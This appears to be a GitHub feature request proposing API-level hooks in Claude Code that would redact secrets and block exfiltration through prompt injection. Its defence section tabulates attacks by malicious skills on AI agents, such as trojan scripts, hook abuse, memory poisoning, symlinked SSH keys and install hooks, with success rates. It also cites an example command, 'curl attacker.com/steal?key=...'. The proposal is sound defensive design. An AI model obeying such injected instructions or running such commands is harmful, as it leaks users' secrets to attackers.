[FEATURE] PreApiCall / PostApiCall hooks to prevent secret exfiltration to API providers and attackers
Problem
When using Claude Code, sensitive data can leave the user's machine through two channels:
1. Data sent to the LLM provider (Anthropic API)
All code, file contents, command outputs, and user prompts are sent to the API. This includes:
- API keys and credentials embedded in configuration files
- Internal project and company names under NDA
- Employee names and email addresses (PII/GDPR)
- Internal hostnames, IPs, and infrastructure details
- Proprietary business logic and trade secrets
Even when the API provider is trusted, enterprise data governance policies may require that certain data never leaves the machine regardless of destination.
2. Data exfiltrated to attackers via prompt injection
A malicious file, skill, or MCP tool can inject instructions that cause Claude to exfiltrate secrets to third-party servers. This is a real and documented attack vector — see the "Defense against prompt injection exfiltration" section below for specific techniques with success rates up to 100%.
The core need: Organizations need the ability to prevent sensitive data from leaving the machine through any channel — whether to the API provider or to an attacker.
Why existing hooks are insufficient
The current hook system operates at the tool level, which creates fundamental gaps:
| Hook | Can modify input? | Can modify output? |
|------|------------------|-------------------|
| PreToolUse | Yes (updatedInput) | N/A |
| PostToolUse | N/A | No (block only) |
| UserPromptSubmit | No (block only) | N/A |
Because PostToolUse cannot modify tool output, there is no way to redact secrets from:
Readtool results (file contents sent to the LLM)Grepsearch resultsBashcommand outputGlobfile listingsWebFetchresponses- Any future tool or MCP tool output
Why not use ANTHROPIC_BASE_URL with a local proxy?
This workaround exists today — run a local HTTP proxy and set ANTHROPIC_BASE_URL=http://localhost:PORT. It works, but has significant drawbacks:
- Separate daemon process that must be started before Claude Code and kept alive
- SSE streaming complexity — the proxy must buffer, parse, and un-redact streaming response chunks, handling partial tokens that span multiple SSE events
- TLS management — either terminate TLS at the proxy or handle certificate chains
- Not discoverable — users won't know this is possible without deep documentation diving
- Fragile — proxy crashes silently kill the session; no graceful degradation
- No integration with existing hook system — can't combine with PreToolUse/PostToolUse hooks
Native hooks would be simpler, more reliable, and discoverable through the existing hooks documentation and configuration system.
Proposed Solution
Add two new hook events that fire at the API request/response level:
PreApiCall
Fires before the Messages API request is sent to the upstream provider. The hook receives the full request body (all messages, tool results, system prompt) and can return a modified version.
Use case: A redaction tool scans all content blocks and replaces sensitive values with tokens before anything leaves the machine.
PostApiCall
Fires after the API response is received. For streaming, this could fire after the full response is collected (buffer mode) or per-chunk (advanced mode). The hook receives the response and can return a modified version.
Use case: A redaction tool un-redacts tokens in Claude's response so the user sees real values in the terminal and tool calls execute with real content.
End-to-end flow
1. User: "Read config.py and update the API key"
2. Claude Code calls Read tool → gets file with real secret
3. Claude Code builds API request with tool_result containing the secret
4. ✨ PreApiCall hook fires → redacts "sk-secret123" → placeholder token
5. Redacted request sent to Anthropic API — secret never leaves machine
6. Claude responds using the placeholder token
7. ✨ PostApiCall hook fires → un-redacts token → "sk-secret123"
8. Claude Code sees real values → tool calls execute with real content
9. User sees real values in terminal
Why this is better than per-tool hooks
| Aspect | Per-tool hooks (today) | API-level hooks (proposed) |
|--------|----------------------|---------------------------|
| Coverage | Per-tool, gaps for new tools | All content, zero gaps |
| Tool output redaction | Cannot modify (PostToolUse limitation) | Full modification |
| Prompt redaction | Cannot modify (UserPromptSubmit limitation) | Full modification |
| Implementation complexity | Per-tool handling, shadow files, command wrapping | One hook, one pass |
| Future-proof | New tools create new gaps | Automatically covers all tools |
| MCP tools | No output modification | Covered |
Streaming consideration
For streaming responses, two implementation options:
- Buffer mode: Collect the full response, run the hook, then deliver to Claude Code. Adds latency but simplest.
- Chunk mode: Fire the hook on each SSE chunk. Lower latency but hook must handle partial tokens.
Buffer mode is acceptable for a first implementation — the hook runs locally so latency is minimal.
Use cases beyond secret redaction
- Compliance logging: Log all data sent to external APIs for audit trails
- PII stripping: Remove personal data before it reaches any LLM provider (GDPR)
- Content filtering: Block or modify certain content categories
- Cost monitoring: Inspect request sizes before they're sent
- Data loss prevention (DLP): Integrate with enterprise DLP systems
Defense against prompt injection exfiltration
Beyond protecting data sent to the LLM provider, API-level hooks would also defend against prompt injection attacks that trick the model into exfiltrating secrets via tool calls.
A malicious file, skill, or MCP tool can inject instructions that cause Claude to exfiltrate sensitive data. Real-world attack vectors include (see gricha/dangerous-skills for educational examples):
| Attack | Vector | How it exfiltrates |
|--------|--------|-------------------|
| Trojan script (100% pwn rate) | Skill bundles a bash script with payload buried in 60 lines of real code | Agent runs the script, payload executes |
| Hook exploitation (89%) | Skill defines PostToolUse hooks in YAML frontmatter | Shell command fires on every Edit/Bash — model never knows |
| Memory poisoning (96%) | Skill modifies ~/.claude/CLAUDE.md with persistent backdoor | Every future session runs the trojan — survives skill removal |
| Test file RCE (60%) | Skill bundles a conftest.py auto-imported by pytest | pytest discovery executes arbitrary Python |
| Symlink exfiltration (54%) | "Example" file is symlink to ~/.ssh/id_rsa | Agent reads "example," actually reads real private key |
| Supply chain (36%) | Local npm package with postinstall hook | npm install triggers arbitrary Node.js |
| Image injection (30%) | PNG badge with near-invisible prompt injection text | Multimodal LLM reads hidden instructions |
With PreApiCall, a redaction tool can scan the entire outgoing request and detect/block secrets before they reach any external server — including content injected via skills, hooks, or !command`` that per-tool hooks never see.
With PostApiCall, suspicious tool calls in the response (e.g., curl attacker.com/steal?key=...) can be scanned and stripped before execution, providing defense-in-depth alongside existing PreToolUse hooks.
Summary
Adding PreApiCall and PostApiCall hooks would:
- Close the fundamental gap where tool output and user prompts cannot be modified by existing hooks
- Enable enterprise secret redaction with zero coverage gaps — no per-tool workarounds needed
- Defend against prompt injection exfiltration — scan all outgoing data and incoming tool calls
- Future-proof against new tools, MCP servers, and attack vectors
- Unlock enterprise use cases (compliance, DLP, PII stripping, audit logging)
- Provide defense-in-depth complementing existing PreToolUse/PostToolUse hooks
- Replace fragile workarounds like
ANTHROPIC_BASE_URLproxies with a native, integrated solution
This issue has 5 comments on GitHub. Read the full discussion on GitHub ↗